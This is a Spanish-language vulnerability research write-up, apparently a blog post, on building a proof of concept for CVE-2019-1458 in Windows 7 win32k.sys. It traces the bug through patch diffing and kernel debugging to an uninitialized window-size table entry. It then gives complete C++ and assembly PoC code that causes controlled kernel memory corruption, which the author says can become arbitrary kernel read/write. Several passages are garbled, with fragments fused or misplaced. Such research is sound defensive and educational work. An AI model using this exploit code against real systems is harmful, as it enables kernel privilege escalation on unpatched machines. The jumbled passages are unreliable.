
POC para cve-2019-1458
En diciembre, Kaspersky publicó una entrada de blog sobre [un exploit de día cero usado en ataques reales][1]. Me picó el interés porque, aunque describían cómo funcionaba el exploit, no proporcionaban ningún POC en su análisis.
Por eso decidí intentar escribir un POC para esta vulnerabilidad basándome en la entrada de blog de Kaspersky y en el análisis del parche.
Este post describe mi viaje haciendo eso.
Lo primero fue recopilar toda la información posible sobre esta vulnerabilidad.
Leyendo la entrada de blog mencionada, extraje la siguiente información:
NtUserMessageCallwin32k!DrawSwitchWndHiliteAdemás, hay una buena captura de pantalla del código descompilado que muestra algunas de las cosas enumeradas anteriormente.
Para ser exacto, muestra: la creación de la ventana de conmutación, la llamada a una función llamada toggle_alt_key y múltiples llamadas a NtUserMessageCall.
[Fuente de la imagen][1]
Mucha información útil, pero aún no describe exactamente cómo funciona esta vulnerabilidad ni cómo activarla.
[El módulo afectado era win32k.sys][2]. Descargué las versiones parcheada y sin parchear de este módulo.
Para Win7 x64 fueron:
Se pueden descargar desde [Microsoft Update Catalog][3]
Aquí está el resultado de bindiff al comparar ambas versiones

Después de descartar las funciones relacionadas con la funcionalidad DebugHook, todo lo que realmente nos queda es esta función ligeramente modificada InitFunctionTables()

Definitivamente no es el parche más grande que hay.
Esto no ayudará a identificar de inmediato la causa raíz de esta vulnerabilidad. Pero vale la pena señalar que se han añadido algunos valores iniciales para variables en
*(gpsi+0x14E), *(gpsi+0x154), *(gpsi+0x180). Así que esto podría ser un error relacionado con una variable no inicializada.
En esta sección presentaré cómo fui construyendo progresivamente un POC que activa esta vulnerabilidad, mientras al mismo tiempo descubría qué era realmente la vulnerabilidad.
El diffing del parche no dio demasiada información útil al principio, así que en la primera etapa del desarrollo me apoyé principalmente en la entrada de blog de Kaspersky.
Para tener un buen entorno de pruebas preparé una VM con Win7 SP1 x64 con la última versión vulnerable de win32k en ejecución. Además, conecté Windbg a esta VM para hacer depuración del kernel y, mientras hacía eso, también configuré la ruta del servidor de símbolos.
Empecé mi investigación mirando win32k!DrawSwitchWndHilite, que se mencionaba en la entrada de blog. Se llama desde dos lugares: xxxMoveSwitchWndHilite y xxxPaintSwitchWindow; este último llamó inmediatamente mi atención por las llamadas a GetKeyState/GetAsyncKeyState que lo rodean y que se mencionaban en el informe original. Es más, esas llamadas comprueban si se está pulsando la tecla ALT.

Llamada a DrawSwitchWndHilite desde xxxPaintSwitchWindow
Siguiendo las referencias cruzadas de llamadas (xxxWrapSwitchWndProc->xxxSwitchWndProc->xxxPaintSwitchWindow->DrawSwitchWndHilite), descubrí que el primer elemento de esa cadena se referencia en InitFunctionTables, la función que se corrigió en el parche.
Después miré NtUserMessageCall de la captura de pantalla del código descompilado.
Aquí está la declaración de esta función```cpp
NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOLEAN bAnsi)
El exploit lo llama con `msg = 0x14` y `dwType = 0xE0`. Veamos qué hace.```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}
printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0xE0, 1);
Aquí registré una clase de ventana simple y creé una ventana de esa clase. Luego llamé a NtUserMessageCall con los mismos parámetros que el exploit. Para ver qué ocurre internamente, establecí el punto de interrupción kd> ba e 1 win32k!NtUserMessageCall y ejecuté el código.
Se realizan bastantes llamadas a esta función, así que tuve que capturar la correcta, pero no fue tan difícil: era la que tenía una pila de llamadas realmente corta.

NtUserMessageCall
Al recorrer el código paso a paso se revela que llama a una función del array gapfnMessageCall; el índice se calcula a partir del valor de msg y es igual a 0, por lo que la llamada se hace a NtUserfnDWORD.

NtUserfnDWORD
La siguiente llamada se hace usando el valor de dwType, y ahora el offset de gpsi es igual a 0x40, y la llamada conduce a xxxWrapSwitchWndProc (esta función ya apareció cuando revisaba la cadena de llamadas de DrawSwitchWndHilite).
xxxWrapSwitchWndProc simplemente llama a xxxSwitchWndProc.

xxxSwitchWndProc
Y este es el final; el código falla aquí y no avanza hasta xxxPaintSwitchWindow, que es donde queremos llegar según el valor de msg (0x14). Veamos por qué.
El código falla en esta etapa porque, como se resalta en la imagen anterior, el fnid de nuestra ventana no es igual a 0x2A0 (FNID_SWITCH) y el mensaje que enviamos no es igual a 1, por lo que terminamos en xxxDefWindowProc. Para evitar este escenario, tenemos que llamar a xxxSwitchWndProc con fnid establecido a FNID_SWITCH, de modo que vayamos directamente a la sentencia switch y luego a xxxPaintSwitchWindow.
¿Cómo establecer el fnid correcto? En realidad, la misma función lo hace en el primer bloque if; solo tenemos que fallar todas las comprobaciones dentro de él para llegar a la instrucción que establece el fnid.
Estas son las condiciones que debemos cumplir para fallar las tres comprobaciones if:
fnid == 0 y cbwndExtra + 0x128 >= *(gpsi + 0x154)0 para cada ventana de usuario recién creada.
*(gpsi+0x154) es igual a 0 en win32k sin parchear. Pero incluso si estuviera establecido a 0x130, como en la versión parcheada, podríamos establecer cbwndExtra a 8 o más y aun así omitir la primera comprobación.msg == 1NtUserMessageCall. Aunque con msg establecido a 1, el flujo de control pasa por NtUserfnINLPCREATESTRUCT en lugar de NtUserfnDWORD, todavía termina en xxxSwitchWndProc.Si se cumplen todas esas condiciones, el fnid de la ventana se establecerá a FNID_SWITCH.
Así que ahora necesitamos llamar a NtUserMessageCall dos veces: la primera con msg igual a 1 para establecer el fnid deseado, y la segunda para llegar a xxxPaintSwitchWindow.```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc
printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }
printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }
printf("[] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE/ = 1*/, 0, 0, 0, 0x0, 1);
printf("[] Calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND/ = 0x14*/, 0, 0, 0, 0x0, 1);
Añadí `extraData` a la clase de ventana y añadí una segunda llamada a `NtUserMessageCall`. Ahora el flujo de control es capaz de llegar a `xxxPaintSwitchWindow`.
(Nota al margen: `dwType` no tiene que ser igual a `0xE0`; `0` funciona igual de bien, ya que de todos modos se aplica la operación AND con `0x1F` en `NtUserfnDWORD`)

*`xxxPaintSwitchWindow`*
Al examinarlo más de cerca, noté que el valor `extraWndData` tomado del objeto ventana (línea 25) se está usando como puntero para escribir en él (líneas 46-52). ¡Si puedo llegar al código que establece `extraWndData` a un valor controlado por mí, puedo corromper memoria arbitraria!
Para llegar a él, primero necesito superar algunas comprobaciones más (marcadas en rojo)
- Comprobar si la ventana tiene el flag `WS_VISIBLE` establecido.
Este flag se puede establecer en `CreateWindowEx`
- `fnid == 0x2A0` y `cbwndExtra + 0x128 == *(gpsi + 0x154)`
Fnid ya está establecido por la primera `NtUserMessageCall`.
El problema surge con la segunda parte de esta comprobación porque `*(gpsi + 0x154)` no está inicializado en el módulo `win32k` vulnerable, por lo que esta comprobación siempre fallará. A menos que de algún modo establezcamos `*(gpsi+0x154)` al valor correcto. Resulta que crear la ventana de conmutación especial, mencionada en el post de Kaspersky, hace exactamente eso.
- Comprobar si la ventana no está destruida.
Ya se cumple en este caso.
Para crear la [ventana de conmutación][4] especial, necesitamos llamar a `CreateWindowEx` con el nombre establecido a `0x8003` (`#32771`). Esto eventualmente llevará a que se llame a `InternalRegisterClassEx` en el kernel.

*fragmento de la función `InternalRegisterClassEx`*
Esto inicializará `*(gpsi+0x154)` a `0x130`.
El efecto secundario es que una vez que establecemos esta variable, no hay forma de restablecerla a 0. Así que solo tenemos una oportunidad para ejecutar el exploit. Cualquier otro intento, hasta el próximo reinicio, fallará.
### Control del valor desreferenciado
Ahora soy capaz de controlar `extraWndData`, que luego se desreferencia como puntero y se escribe en él en `xxxPaintSwitchWindow`. `extraWndData` se puede controlar llamando a```cpp
SetWindowLongPtr(HWND hWnd, int nIndex, LONG_PTR dwNewLong)
Una cosa a tener en cuenta es que esta llamada tiene que realizarse después de la primera llamada a NtUserMessageCall, porque como se mostró, xxxSwitchWndProc necesita que el extraData de la ventana esté establecido a 0 en esta primera llamada, para omitir las comprobaciones necesarias.
Además, SetWindowLongPtr tiene que invocarse antes de la creación de la ventana de conmutación, y he aquí por qué:
fragmento de la función xxxSetWindowLong
Aquí es donde realmente hacemos uso de la variable *(gpsi + 0x154) no inicializada.
Cuando esta comprobación pasa, establecemos el extraData de la ventana a un valor arbitrario.
Si esto hubiera sido inicializado correctamente, el exploit fallaría aquí.```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof(wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof(wcx); wcx.lpszClassName = L"SploitWnd"; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc
printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }
printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }
printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0x0, 1);
printf("[] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"); SetWindowLongPtr(sploitWnd, 0, 0x4141414141414); printf("[] GetLastError = %x\n", GetLastError());
printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"); HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
Este es el resultado de ejecutar el código anterior

Poco después de esto, obtenemos un bugcheck cuando `rdi` se desreferencia.
Ejecutando el mismo exploit en Windows parcheado:```
[*] Registering window
[*] Creating instance of this window
[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window
[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced
bold:[*] GetLastError = 585
[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130
[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time
SetWindowLongPtr falla con el código de error 0x585 debido a que *(gpsi + 0x154) está inicializado correctamente. Y el kernel no se bloquea.
Para resumir, el problema principal era la variable no inicializada *(gpsi+0x154).
Pero, ¿qué es este valor y por qué es importante?
gpsi es un puntero global a la estructura [tagSERVERINFO][5]. Esta estructura, entre otras cosas, describe las ventanas del sistema (es decir, menús, escritorio, conmutador, etc.), a diferencia de las ventanas definidas por el usuario.
Esas ventanas del sistema se identifican por su FNID; por ejemplo, 0x2A0 significa ventana de conmutador.
Cuando se define una clase de ventana usando RegisterClassEx, tenemos la oportunidad de especificar el campo cbWndExtra en WNDCLASSEX; este campo describe cuántos bytes extra se asignarán además de la estructura tagWND, para almacenar cierta información específica de la ventana.
Entonces podemos modificar esos bytes extra usando SetWindowLongPtr.
Las ventanas del sistema usan exactamente el mismo mecanismo para almacenar los datos adicionales que necesitan para funcionar. Pero en principio, estos datos no deberían ser accesibles mediante SetWindowLongPtr.
Y vimos que efectivamente hay una comprobación en xxxSetWindowLongPtr que debería prevenirlo. Después de aplicar la información de tipos, esta es la comprobación:```
if (nIndex >= gpsi->mpFnid_serverCBWndProc[(window->fnid & 0x3FFF) - FNID_FIRST] - sizeof(tagWND))
goto exit_with_error
El array `gpsi->mpFnid_serverCBWndProc` describe cuál es el tamaño de un objeto de ventana del sistema dado, incluidos los datos adicionales.
`*(gpsi+0x154)` se convierte en `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]`
Al dejar este campo sin inicializar, `xxxSetWindowLongPtr` piensa que el tamaño de los datos adicionales es `-sizeof(tagWND)`, por lo que podemos escribir en un campo que debería ser privado para la estructura de la ventana switch.
La causa raíz de esta vulnerabilidad era entonces una variable sin inicializar (o más bien inicializada a 0 por defecto) `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]`.
Esto explica por qué el parche era tan pequeño. Todo lo que había que hacer era establecerla en `sizeof(tagWND) + 8`. De la misma manera, ahora también se inicializan otros elementos del array `mpFnid_serverCBWndProc` que anteriormente no se inicializaban (`FNID_DESKTOP`, `FNID_TOOLTIPS`), probablemente para prevenir también futuras variantes de este exploit.

## Corrupción de memoria
Con el estado actual del exploit podemos provocar un bugcheck, pero el bloqueo ocurre en la instrucción:```asm
xxxPaintSwitchWindow + 0x8B:
cmp [rdi+6Ch], r13d ; rdi = 0x4141414141414
El último paso para preparar este POC sería entonces provocar un fallo más útil o, mejor aún, corromper algo de memoria y no fallar en absoluto.
Para cumplir este último objetivo necesitamos:
VirtualAlloc y pasar el puntero devuelto a SetWindowLongPtrGetKeyState/GetAsyncKeyState en xxxPaintSwitchWindow que comprueban si la tecla ALT está pulsada. Y si este no es el caso, la función sale.GetKeyState o GetAsyncKeyState se decide en función de un indicador en [extraWndData+6Ch].
Elegí simular la pulsación de ALT mediante una llamada a SetKeyboardState. Esto solo funcionará con GetKeyState, por lo que necesito establecer el valor en el offset 0x6C a `1````cpp
ptr = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SetWindowLongPtr(sploitWnd, 0, ptr);BYTE keyData[256]; GetKeyboardState(keyData); keyData[VK_MENU] |= 0x80; // simulate ALT SetKeyboardState(keyData);
((BYTE*)ptr)[0x6c] = 1; // force use of GetKeyState inside xxxPaintSwitchWindow
Con este código obtuve un fallo diferente```asm
DrawSwitchWndHilite + 0x10A:
mov rcx, [r12+20h]
mov dl, 1
mov rcx, [rcx] ; rcx = 0
Así que también proporciono un puntero válido en el offset 0x20 (que apunta a sí mismo)```cpp
ptr[0x20 / sizeof(*ptr)] = ptr; // make double derefence succeed
Ahora el exploit funciona sin bloquearse, y cuando examinamos el contenido de la página asignada podemos ver que ¡fue modificada!

Hemos logrado un POC de exploit estable que corrompe la memoria que se le proporciona. Esta es una situación mucho mejor que un POC que falla al leer memoria, porque esta corrupción arbitraria de memoria puede convertirse más fácilmente en lectura/escritura arbitraria del kernel. Además, ya hemos extraído los requisitos que la memoria a corromper debe cumplir.
## Conclusión
En este tutorial presenté cómo pasé de la descripción del exploit y la vulnerabilidad a un POC funcional que puede convertirse en un exploit útil del kernel.
Este fue un exploit bastante interesante que fue posible gracias a una línea faltante. Así que supongo que la lección es: siempre inicializa tus variables globales.
## POC``` cpp
#include <cstdio>
#include <windows.h>
extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
int main() {
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0
printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}
printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}
printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);
printf("[*] Allocate memory to be used for corruption\n");
PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("\tptr: %p\n", mem);
PBYTE byteView = (PBYTE)mem;
byteView[0x6c] = 1; // use GetKeyState in xxxPaintSwitchWindow
//pass DrawSwitchWndHilite double dereference
PVOID* ulongView = (PVOID*)mem;
ulongView[0x20 / sizeof(PVOID)] = mem;
printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);
printf("[*] GetLastError = %x\n", GetLastError());
printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
printf("[*] Simulating alt key press\n");
BYTE keyState[256];
GetKeyboardState(keyState);
keyState[VK_MENU] |= 0x80;
SetKeyboardState(keyState);
printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
}
...```asm _DATA SEGMENT _DATA ENDS _TEXT SEGMENT
PUBLIC NtUserMessageCall NtUserMessageCall PROC mov r10, rcx mov eax, 1007h ; Win7 sp1 syscall ret NtUserMessageCall ENDP _TEXT ENDS END
[1]: https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/
[2]: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1458
[3]: https://www.catalog.update.microsoft.com/Home.aspx
[4]: https://docs.microsoft.com/en-us/windows/win32/winauto/switch-window
[5]: https://www.reactos.org/wiki/Techwiki:Win32k/SERVERINFO
[6]: https://media.paloaltonetworks.com/lp/endpoint-security/blog/the-case-for-smep-exploiting-a-kernel-vulnerability.html
extraData == 0cbwndExtra. ExtraData se agrega justo después de la estructura tagWND (agregué este campo a la estructura tagWND en IDA como QWORD en el offset sizeof(tagWND), para que el código descompilado sea un poco más claro). Su valor se puede establecer con una llamada a SetWindowLongPtr.